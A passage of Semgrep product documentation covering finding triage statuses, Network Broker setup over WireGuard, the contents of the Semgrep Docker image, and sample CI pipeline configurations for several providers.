| :------------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
| **Provisionally ignored** | Rule-based Semgrep Code findings that Semgrep Multimodal's [Autotriage](/semgrep-multimodal/overview#autotriage) has flagged as likely false positives. You can change the status to **Ignored** if you agree with Multimodal's assessment. Otherwise, you can change the status to **To fix** if you disagree.
**Note**: [AI-powered detection](/semgrep-code/ai-powered-detection-concepts) findings remain **Open** even when Multimodal flags them as false positives. They are **not** automatically set to **Provisionally ignored**; change the status to **Ignored** if you want to dismiss them. |
| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
### Removed findings
Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
* The rule that detected the finding isn't enabled in the policy anymore.
* The rule that detected the finding was updated in a way that it no longer detects the finding.
* The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
* For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
### Triage behavior across refs and branches
* When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
* At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
* **Full scans**: if the current branch includes a finding that was
* Previously introduced in another branch ***and***
* Triaged to a specific state
**Then** the finding in the current branch is triaged to that same state.
* **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
# Set up Semgrep Network Broker
Source: https://docs.semgrep.dev/semgrep-ci/network-broker
Semgrep Network Broker facilitates secure access between Semgrep and your private network. The Network Broker creates a WireGuard VPN tunnel to the Semgrep backend and proxies **inbound** HTTP requests from Semgrep to the customer through the tunnel. This allows Semgrep to communicate with private network resources like a Source Code Manager (SCM) without exposing them to the public internet.
Examples of inbound traffic include:
* [Pull request comments](/category/pr-or-mr-comments)
* Code access for [Semgrep Managed Scans](/deployment/managed-scanning/overview) if enabled
* [Webhooks](/semgrep-appsec-platform/webhooks)
## Feature availability
**TIER AVAILABILITY**
Semgrep Network Broker is available to Enterprise tier users.
Semgrep Network Broker is a feature that must be enabled in your Semgrep organization before setup. It is only available to paying customers. Contact the [Semgrep support team](/support) to discuss having it enabled for your organization.
If you will be using the Network Broker with a dedicated Semgrep tenant, please note that in your request.
## Deployment
The Network Broker can be run as a bare Docker container, in a Kubernetes cluster, or simply as a standalone binary on a machine.
Only one instance of the WireGuard-based Network Broker can be run at any time. Multiple brokers with the same configuration can cause disconnects, instability, and packet loss.
### System requirements
* CPU: 1
* RAM: 512 MB
### Network requirements
* Between Semgrep and Broker:
* Allow traffic from `wireguard.semgrep.dev` on UDP port 51820. If you are on a dedicated Semgrep tenant, allow traffic from `wireguard..semgrep.dev` instead.
* If using the `--deployment-id` CLI flag, allow outbound to `semgrep.dev` on TCP port 443 for HTTPS.
* Between Broker and each private network resource, enable outbound on TCP ports 80 and 443 for HTTP/HTTPS communication.
**DETERMINING IP ADDRESSES**
To determine the IP addresses for a domain, use `dig`. The addresses are listed under the ANSWER section. Example: `dig wireguard.semgrep.dev`
### Artifacts
You can choose between deploying pre-made artifacts or building your own.
#### Pre-built by Semgrep
* Docker images are available from [ghcr.io/semgrep/semgrep-network-broker](https://github.com/semgrep/semgrep-network-broker/pkgs/container/semgrep-network-broker).
* A sample [Kubernetes Manifest](https://github.com/semgrep/semgrep-network-broker/blob/develop/kubernetes.yaml) is present within the repository. This should be extended for production.
#### Build it yourself
See the [Network Broker repository](https://github.com/semgrep/semgrep-network-broker)'s README for instructions on how to build it yourself.
## Configure Semgrep Network Broker
Ensure that you are logged in to the server where you want to run Semgrep Network Broker. Complete the following steps while logged in to that server.
### Create the config file
Create a `config.yaml` file similar to the following snippet, or copy a starting config from the Semgrep AppSec Platform at **Settings > Broker**. The steps required to generate values for the placeholders `SEMGREP_LOCAL_ADDRESS`, `YOUR_PRIVATE_KEY`, and `YOUR_BASE_URL`, as well as the scopes required for the access tokens, are provided in subsequent steps of this guide.
```yaml theme={null}
inbound:
wireguard:
localAddress: SEMGREP_LOCAL_ADDRESS
privateKey: YOUR_PRIVATE_KEY
peers:
- endpoint: wireguard.semgrep.dev:51820
allowlist: []
gitlab:
baseUrl: YOUR_BASE_URL
```
**NOTE**
Semgrep recommends that users running Network Broker v0.24.0 or earlier upgrade to v0.25.0 or later. This enables the use of a simplified config file.
Create a `config.yaml` file similar to the following snippet, or copy a starting config from the Semgrep AppSec Platform at **Settings > Broker**. The steps required to generate values for the placeholders `SEMGREP_LOCAL_ADDRESS`, `YOUR_PRIVATE_KEY`, and `YOUR_BASE_URL` are provided in subsequent steps of this guide.
```yaml theme={null}
inbound:
wireguard:
localAddress: SEMGREP_LOCAL_ADDRESS
privateKey: YOUR_PRIVATE_KEY
peers:
- publicKey: 4EqJwDZ8X/qXB5u3Wpo2cxnKlysec93uhRvGWPix0lg=
endpoint: wireguard.semgrep.dev:51820
allowedIps: fdf0:59dc:33cf:9be9:0000:0000:0000:0001/128
heartbeat:
url: http://[fdf0:59dc:33cf:9be9:0000:0000:0000:0001]/ping
allowlist: []
gitlab:
baseUrl: YOUR_BASE_URL
```
The `publicKey` value should be entered precisely as shown in the example:
```bash theme={null}
4EqJwDZ8X/qXB5u3Wpo2cxnKlysec93uhRvGWPix0lg=
```
#### Multiple configuration files
You can overlay multiple configuration files on top of each other by passing multiple `-c` arguments:
```bash theme={null}
semgrep-network-broker -c config1.yaml -c config2.yaml -c config3.yaml
```
Note that arrays are replaced, while maps are merged.
### Generate a keypair
The broker requires a WireGuard keypair to establish a secure connection. To generate your private key to replace `YOUR_PRIVATE_KEY` in the config template:
Determine the [Network Broker version](https://github.com/semgrep/semgrep-network-broker/pkgs/container/semgrep-network-broker) you want to use. The format should be similar to `v0.42.0`. Most users should use the latest version, especially when setting up the broker for the first time.
Run the following command in the CLI to generate your private key, replacing the placeholder with the Network Broker version number:
```bash theme={null}
docker run ghcr.io/semgrep/semgrep-network-broker:VERSION_NUMBER genkey
```
Run the following command in the CLI to generate your public key, replacing the placeholders with your private key generated in the previous step and the Network Broker version number:
```bash theme={null}
echo "YOUR_PRIVATE_KEY" | sudo docker run -i ghcr.io/semgrep/semgrep-network-broker:VERSION_NUMBER pubkey
```
Your public key is safe to share. Do **not** share your private key with anyone, including Semgrep.
### Update the config with the keypair
Update the `config.yaml` file by replacing `YOUR_PRIVATE_KEY` with the value of your private key.
Add your public key to the Semgrep AppSec Platform:
i. Log in to Semgrep AppSec Platform.
ii. Navigate to **Settings > Broker**.
iii. Paste your public key and click **Add Public Key**.
### Update the config with your SCM information
Update the `config.yaml` by replacing the SCM information containing `YOUR_BASE_URL` with your SCM and its base URL for Azure DevOps, GitHub, GitLab, or Bitbucket Data Center.
Semgrep Network Broker versions 0.28.0 and later support Azure DevOps.
```yaml theme={null}
inbound:
azuredevops:
baseURL: https://ADO_BASE_URL/*
```
Semgrep Network Broker versions 0.20.0 and later support Bitbucket.
```yaml theme={null}
inbound:
bitbucket:
baseURL: https://BITBUCKET_BASE_URL/rest/api/latest
```
```yaml theme={null}
inbound:
github:
baseURL: https://GITHUB_BASE_URL/api/v3
```
```yaml theme={null}
inbound:
gitlab:
baseURL: https://GITLAB_BASE_URL/api/v4
```
### Add your local address to the config
Convert your organization ID to hexadecimal. The organization ID is found in Semgrep AppSec Platform under [**Settings > General > Identifiers**](https://semgrep.dev/orgs/-/settings/general/identifiers) in Semgrep AppSec Platform. This is sometimes also called a deployment ID. You can use a tool such as [Decimal to Hexadecimal converter](https://www.rapidtables.com/convert/number/decimal-to-hex.html) to perform the conversion if needed.
Embed the resulting hexadecimal value in the string `fdf0:59dc:33cf:9be8:0:ORGANIZATION_ID:0:1`, replacing `ORGANIZATION_ID` with the value.
Update the `localAddress` field of `config.yaml`, replacing `SEMGREP_LOCAL_ADDRESS` with the string you generated in Step 2.
```yaml theme={null}
inbound:
wireguard:
localAddress: fdf0:59dc:33cf:9be8:0:ORGANIZATION_ID:0:1
```
### Start the broker
Run the following command to start Semgrep Network Broker with your completed configuration file:
```bash theme={null}
sudo docker run -d -it --rm -v $(pwd):/emt ghcr.io/semgrep/semgrep-network-broker:VERSION_NUMBER -c /emt/config.yaml
```
## Check Semgrep Network Broker logs
You can check the logs for Semgrep Network Broker by running:
```bash theme={null}
sudo docker logs CONTAINER_ID
```
### Adjusting log verbosity
Semgrep Network Broker can log details of the proxied requests and responses for troubleshooting. To log additional details, add this snippet to your broker configuration:
**PERFORMANCE IMPACT**
Please enable these settings only while working to identify issues. Otherwise, significant memory in the tunnel is used on large request and response bodies.
```yaml theme={null}
inbound:
logging:
logRequestBody: true
logResponseBody: true
```
In the logs, this leads to entries for `proxy.request` and `proxy.response`.
These values can also be set on a per-allowlist basis:
```
inbound:
allowlist:
- url: https://httpbin.org/*
methods: [GET, POST]
logRequestBody: true
logResponseBody: true
```
This provides additional flexibility when troubleshooting. See the [broker README](https://github.com/semgrep/semgrep-network-broker?tab=readme-ov-file#logging) for more details.
### Enable verbose WireGuard logging
To troubleshoot connection issues potentially related to the WireGuard configuration, you can enable verbose logging by adding the following snippet to the broker configuration:
```yaml theme={null}
inbound:
wireguard:
verbose: true
```
## Use Semgrep Network Broker with Managed Scans
Semgrep Managed Scans uses Semgrep Network Broker to connect to your internal source code management instance.
To enable Managed Scans when using Network Broker, ensure that you've updated your SCM information to allow code access:
```yaml theme={null}
inbound:
azuredevops:
baseURL: https://ADO_BASE_URL/*
allowCodeAccess: true
```
**ACCESS TOKENS**
Semgrep recommends providing the access token when you [connect the source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs) instead of in the Network Broker configuration. However, if you must provide the token in the Network Broker configuration, see [Prerequisites and permissions](/deployment/managed-scanning/azure#prerequisites-and-permissions) for access token requirements.
```yaml theme={null}
inbound:
bitbucket:
baseURL: https://BITBUCKET_BASE_URL/rest/api/latest
allowCodeAccess: true
```
**ACCESS TOKENS**
Semgrep recommends providing the access token when you [connect the source code manager](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects) instead of in the Network Broker configuration. However, if you must provide the token in the Network Broker configuration, see [Prerequisites and permissions](/deployment/managed-scanning/bitbucket#prerequisites-and-permissions) for access token requirements.
```yaml theme={null}
inbound:
github:
baseURL: https://GITHUB_BASE_URL/api/v3
allowCodeAccess: true
```
```yaml theme={null}
inbound:
gitlab:
baseURL: https://GITLAB_BASE_URL/api/v4
allowCodeAccess: true
```
Semgrep Network Broker supports repository cloning when `allowCodeAccess` is `true`, beginning with Network Broker `v0.36.0` (for GitHub, beginning with `v0.32.0`).
For earlier Network Broker versions, the URL allowlist must include the base URL of your instance in order to clone repositories for scanning from **any** organization or group. For example, if your source code manager is at `https://git.example.com/`, the following allowlist will permit cloning repositories:
```yaml theme={null}
inbound:
allowlist:
# allow GET and POST requests from Semgrep to https://git.example.com/*
- url: https://git.example.com/*
methods: [GET, POST]
```
Semgrep creates and updates PR and MR status checks and verifies the existence of branches to be scanned when performing Managed Scans. To ensure access to these endpoints for all source code managers, upgrade to Semgrep Network Broker 0.41.0 or later.
## Use Semgrep Network Broker for private registry access
Semgrep Supply Chain can route [private registry](/semgrep-supply-chain/triage-and-remediation#registry-support) traffic through the Network Broker, allowing Semgrep to reach registries that aren't publicly accessible on the internet. This is useful when your package registry is hosted inside your private network and can't be accessed directly from the Semgrep backend.
To enable this, select **Use network broker for registry access** when you [connect the registry to Semgrep](/kb/semgrep-supply-chain/connect-a-private-registry).
For the broker to reach your registry, add the registry URL to the `allowlist` and permit `GET` and `HEAD` requests:
```yaml theme={null}
inbound:
allowlist:
- url: "https:///*"
methods: ["GET", "HEAD"]
```
Replace `` with the host of your registry.
## Run multiple instances of Semgrep Network Broker
Do not attempt to run multiple instances of Semgrep Network Broker to increase availability. Running multiple instances can result in contention and is less reliable than running a single instance.
## Allowlist multiple source code managers with one configuration file
It is possible to allow access to multiple source code managers (SCM) within a single configuration file. One entry for a given SCM [uses the SCM-specific key provided in the configuration file](/semgrep-ci/network-broker#update-the-config-with-your-scm-information), as shown in the following example for a GitHub connection:
```yaml theme={null}
inbound:
github:
baseURL: https://GITHUB_BASE_URL/api/v3
```
Subsequent entries for the same SCM type, such as a second GitHub Enterprise Server instance, require you to modify `allowlist` and add specific information needed for the HTTP requests. The following is a sample allowlist for additional GitHub entries:
```yaml theme={null}
inbound:
allowlist:
- url: https://GITHUB_BASE_URL/api/v3/repos/:owner/:repo
methods: [GET]
setRequestHeaders:
Authorization: "Bearer GITHUB_PAT"
- url: https://GITHUB_BASE_URL/api/v3/repos/:owner/:repo/pulls
methods: [GET]
setRequestHeaders:
Authorization: "Bearer GITHUB_PAT"
- url: https://GITHUB_BASE_URL/api/v3/repos/:owner/:repo/pulls/:number/comments
methods: [POST]
setRequestHeaders:
Authorization: "Bearer GITHUB_PAT"
- url: https://GITHUB_BASE_URL/api/v3/:owner/:repo/issues/:number/comments
methods: [POST]
setRequestHeaders:
Authorization: "Bearer GITHUB_PAT"
...
```
See the [broker README](https://github.com/semgrep/semgrep-network-broker?tab=readme-ov-file) for more details on required endpoints.
If you are seeing authorization issues but are confident the token provided in your Network Broker configuration has the correct permissions, review all entries in the allowlist to be sure that they specify the correct token.
# Packages in the Semgrep docker image
Source: https://docs.semgrep.dev/semgrep-ci/packages-in-semgrep-docker
## Packages
In addition to the `semgrep` binary, the [`semgrep/semgrep:latest` docker image](https://hub.docker.com/r/semgrep/semgrep/tags) contains the following packages:
* `bash`
* `jq`
* `curl`
* Python 3.11 (`alpine:3.22` base image)
The Alpine 3.22 docker image includes additional packages that can change without notice. To review them, run `docker run alpine:3.22 apk list`.
**CAUTION**
* Do **not** rely on the presence of packages from the Alpine docker image in your CI workflows. They are not guaranteed to be included in the future and are not managed by Semgrep.
* `jq` and `curl` may be removed in future Semgrep releases. You can install them directly in the Docker image if necessary. For example:
```yaml theme={null}
job:
container: semgrep/semgrep:latest
runs-on: ubuntu-latest-16-core
steps:
- uses: actions/checkout@v6
- name: Install dependencies
run: apk add bash jq curl
- run: semgrep scan --json ... | jq ...
```
## Previous incidents
* [ Semgrep v.1.66.0](https://github.com/semgrep/semgrep/releases/tag/v1.66.0) removed `bash`, `jq`, and `curl` to reduce the attack surface of the Semgrep docker image. They were subsequently re-added for future Semgrep releases.
# Packages in the Semgrep docker image
Source: https://docs.semgrep.dev/semgrep-ci/packages-in-semgrep-docker-1
## Packages
In addition to the `semgrep` binary, the [`semgrep/semgrep:latest` docker image](https://hub.docker.com/r/semgrep/semgrep/tags) contains the following packages:
* `bash`
* `jq`
* `curl`
* Python 3.11 (`alpine:3.22` base image)
The Alpine 3.22 docker image includes additional packages that can change without notice. To review them, run `docker run alpine:3.22 apk list`.
**CAUTION**
* Do **not** rely on the presence of packages from the Alpine docker image in your CI workflows. They are not guaranteed to be included in the future and are not managed by Semgrep.
* `jq` and `curl` may be removed in future Semgrep releases. You can install them directly in the Docker image if necessary. For example:
```yaml theme={null}
job:
container: semgrep/semgrep:latest
runs-on: ubuntu-latest-16-core
steps:
- uses: actions/checkout@v6
- name: Install dependencies
run: apk add bash jq curl
- run: semgrep scan --json ... | jq ...
```
## Previous incidents
* [ Semgrep v.1.66.0](https://github.com/semgrep/semgrep/releases/tag/v1.66.0) removed `bash`, `jq`, and `curl` to reduce the attack surface of the Semgrep docker image. They were subsequently re-added for future Semgrep releases.
# Sample continuous integration (CI) configurations
Source: https://docs.semgrep.dev/semgrep-ci/sample-ci-configs
This document provides sample configuration snippets to run Semgrep CI on various continuous integration (CI) providers.
## Feature support
Support for certain features of Semgrep AppSec Platform depends on your CI provider or source code management (SCM) tool.
| Feature | GitHub with GitHub Actions | GitLab with GL CI/CD | \*GitHub, GitLab, or Bitbucket with other CI providers |
| :------------------------- | :----------------------------------- | :-------------------------- | :----------------------------------------------------- |
| **Diff-aware scanning** | β | β | β |
| **Hyperlinks** | β | β | β |
| **PR or MR comments** | β | β | β |
| **SCM security dashboard** | β GitHub Advanced Security Dashboard | β GitLab Security Dashboard | β No |
\*For example, if you use CircleCI as your CI provider on a GitHub repository, Semgrep AppSec Platform does not have any support for GitHub Advanced Security Dashboard.
### Feature definitions
| Feature | Description |
| :------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Diff-aware scanning | Semgrep AppSec Platform can scan only changes in files when running on a pull request or merge request (PR or MR). This keeps the scan fast and reduces finding duplication. |
| Hyperlinks to code | Semgrep AppSec Platform collects findings in a Findings page. In this page, you can click on a finding to return to your SCM (GitHub, GitLab, or Bitbucket) to view the lines of code in your repository that generated the finding. |
| Receiving results (findings) as PR or MR comments | This feature enables you to receive PR or MR comments from Semgrep AppSec Platform on the lines of code that generated a finding. |
| SCM security dashboard | Send Semgrep findings to your SCM's security dashboard. |
## GitHub Actions
To add a Semgrep configuration file in your GitHub Actions pipeline:
Create a `semgrep.yml` file in `.github/workflows` in the repository you want to scan.
Copy the relevant code snippet provided in [Sample GitHub Actions configuration file](#sample-github-actions-configuration-file).
Paste the relevant code snippet to `semgrep.yml` file. This is your Semgrep configuration file for GitHub Actions.
Commit the configuration file under /REPOSITORY-ROOT-DIRECTORY/.github/workflows/semgrep.yml.
The Semgrep job starts automatically upon detecting the committed `semgrep.yml` file.
**NOTE**
If you are self-hosting your repository, you must [use a self-hosted runner](https://docs.github.com/en/actions/using-jobs/choosing-the-runner-for-a-job#choosing-self-hosted-runners).
### Sample GitHub Actions configuration file
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
push:
branches:
- main
- master
paths:
- .github/workflows/semgrep.yml
# Schedule the CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
permissions:
contents: read
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep/ci
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep ci" command on the command line of the docker image.
- run: semgrep ci
env:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it to your GitHub secrets.
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep Community Edition (CE) scans using rules configured for your programming language.
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep CE scan
on:
# Scan in PRs:
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan mainline branches and report all findings:
push:
branches: ["master", "main"]
# Schedule the CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
permissions:
contents: read
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep-oss/scan
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep scan" command on the command line of the docker image.
- run: semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
**CAUTION**
If you define both `branches` or `branches-ignore` *and* `paths` or `paths-ignore`, the workflow only runs when both filters are satisfied.
For example, if your configuration file includes the following definition, the workflow runs only if there are changes on the `development` branch to `.github/workflows/semgrep.yml` :
```yaml theme={null}
push:
branches:
- development
paths:
- .github/workflows/semgrep.yml
```
## GitLab CI/CD
To add a Semgrep configuration snippet in your GitLab CI/CD pipeline:
Create or edit your `.gitlab-ci.yml` file in the repository you want to scan.
Copy the relevant code snippet provided in [Sample GitLab CI/CD configuration snippet](#sample-gitlab-cicd-configuration-snippet), and then paste it to your `.gitlab-ci.yml` file.
Commit the updated `.gitlab-ci.yml` file.
The Semgrep job starts automatically upon detecting the committed `.gitlab-ci.yml` file. You can also view the job from your GitLab project's **CI/CD > Pipelines** page.
### Sample GitLab CI/CD configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml theme={null}
semgrep:
# A Docker image with Semgrep installed.
image: semgrep/semgrep
# Run the "semgrep ci" command on the command line of the docker image.
script: semgrep ci
rules:
# Allow triggering a scan manually from the GitLab UI
- if: $CI_PIPELINE_SOURCE == "web"
# Scan changed files in MRs, (diff-aware scanning):
- if: $CI_MERGE_REQUEST_IID
# Scan mainline (default) branches and report all findings.
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
variables:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it as a variable in your GitLab CI/CD project settings.
SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
Prefer to use GitLab group variables? See [this guide](/kb/semgrep-code/gitlab-group-variables) for an appropriate configuration.
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
semgrep:
# A Docker image with Semgrep installed.
image: semgrep/semgrep
# Run the "semgrep scan" command on the command line of the docker image.
script: semgrep scan --config auto .
rules:
# Scan in MRs.
- if: $CI_MERGE_REQUEST_IID
# Scan mainline (default) branches and report all findings.
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Jenkins
**NOTE**
Your user interface (UI) may vary depending on your Jenkins installation. The following steps refer to Jenkins' Classic UI.
To add a Semgrep configuration snippet in your Jenkins pipeline:
Create or edit your `Jenkinsfile` configuration file in the repository you want to scan. You can also edit your `Jenkinsfile` from Jenkins's interface.
Copy the relevant code snippet provided in [Sample Jenkins configuration snippet](#sample-jenkins-configuration-snippet).
Paste the code to your `Jenkinsfile`, and then commit the file.
The Semgrep job starts automatically upon detecting the `Jenkinsfile` update.
Optional: Create a separate CI job for diff-aware scanning, which scans only changed files in PRs or MRs, by repeating steps 1-3 and uncommenting the `SEMGREP_BASELINE_REF` definition provided within the code snippet.
### Sample Jenkins configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```js expandable theme={null}
pipeline {
agent any
environment {
// The following variable is required for a Semgrep AppSec Platform-connected scan:
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
// Uncomment the following line to scan changed
// files in PRs or MRs (diff-aware scanning):
// SEMGREP_BASELINE_REF = "main"
// Troubleshooting:
// Uncomment the following lines if Semgrep AppSec Platform > Findings Page does not create links
// to the code that generated a finding or if you are not receiving PR or MR comments.
// SEMGREP_JOB_URL = "${BUILD_URL}"
// SEMGREP_COMMIT = "${GIT_COMMIT}"
// SEMGREP_BRANCH = "${GIT_BRANCH}"
// SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*).git$/, '$1')
// SEMGREP_REPO_URL = env.GIT_URL.replaceFirst(/^(.*).git$/,'$1')
// SEMGREP_PR_ID = "${env.CHANGE_ID}"
}
stages {
stage('Semgrep-Scan') {
steps {
sh '''docker pull semgrep/semgrep && \
docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_REPO_URL=$SEMGREP_REPO_URL \
-e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
-e SEMGREP_BRANCH=$SEMGREP_BRANCH \
-e SEMGREP_COMMIT=$SEMGREP_COMMIT \
-e SEMGREP_PR_ID=$SEMGREP_PR_ID \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci '''
}
}
}
}
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
This code snippet uses Jenkins declarative syntax.
```groovy theme={null}
pipeline {
agent any
stages {
stage('Semgrep-Scan') {
steps {
sh 'pipx install semgrep'
sh 'semgrep scan --config auto'
}
}
}
}
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Bitbucket Pipelines
To add a Semgrep configuration snippet into Bitbucket Pipelines:
Create or edit your `bitbucket-pipelines.yml` file in the repository you want to scan.
Copy the relevant code snippet provided in [Sample Bitbucket Pipelines configuration snippet](#sample-bitbucket-pipelines-configuration-snippet), and then paste it to your `bitbucket-pipelines.yml`.
Commit the updated `bitbucket-pipelines.yml` configuration file.
The Semgrep job starts automatically upon detecting the committed `bitbucket-pipelines.yml` file. You can view the job through Bitbucket's interface, by clicking **REPOSITORY\_NAME > Pipelines**.
Optional: Create a daily scheduled run for the custom pipeline on the main branch by [scheduling a pipeline in Bitbucket](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule).
**NOTE**
These steps can also be performed through Bitbucket's UI wizard. This UI wizard can be accessed through **Bitbucket > REPOSITORY\_NAME > Pipelines > Create your first pipeline**.
### Sample Bitbucket Pipelines configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
image: semgrep/semgrep:latest
pipelines:
branches:
# Change to your default branch if different from main
main:
- step:
name: Semgrep scan on push
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
- semgrep ci
pull-requests:
'**': # This applies to pull requests for all branches
- step:
name: Semgrep scan on PR
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
# Change to your default branch if different from main
- export SEMGREP_BASELINE_REF="origin/main"
- git fetch origin "+refs/heads/*:refs/remotes/origin/*"
- semgrep ci
custom:
# Trigger job manually. For cron in Bitbucket, see: https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule
semgrep-manual:
- step:
name: Semgrep manual scan
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
- semgrep ci
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
image: semgrep/semgrep:latest
pipelines:
default:
- parallel:
- step:
name: 'Run Semgrep scan with current branch'
deployment: dev # https://support.atlassian.com/bitbucket-cloud/set-up-and-monitor-deployments/
script:
- semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
**TIP**
If the pipeline's default runner runs out of memory, you can limit the number of subprocesses Semgrep uses with the [`-j` flag](/cli-reference), or [add the `size` directive](https://support.atlassian.com/bitbucket-cloud/global-options/#Size) to the Semgrep step to increase the memory available:
```yaml theme={null}
pipelines:
default:
- step:
size: 2x
script:
- echo "This step gets double the memory!"
```
## Buildkite
To add Semgrep into your Buildkite pipeline:
Prepare a configuration file to add a Semgrep scan as part of your pipeline. This configuration file can be stored within Buildkite or as a `pipeline.yml` file in the target repository.
Copy the code snippet provided in [Sample Buildkite configuration snippet](#sample-buildkite-configuration-snippet), making alterations if necessary for your environment.
If you are using Buildkite to store the configuration, save the updated file. Otherwise, commit the updated `pipeline.yml` file into the `/.buildkite` folder within the target repository.
The Semgrep job starts automatically upon detecting the committed `pipeline.yml` file. Alternatively, if you are using the Buildkite UI, you can select **New build**. You can view the job through Buildkite's interface by clicking **Pipelines > pipeline name**.
**NOTE**
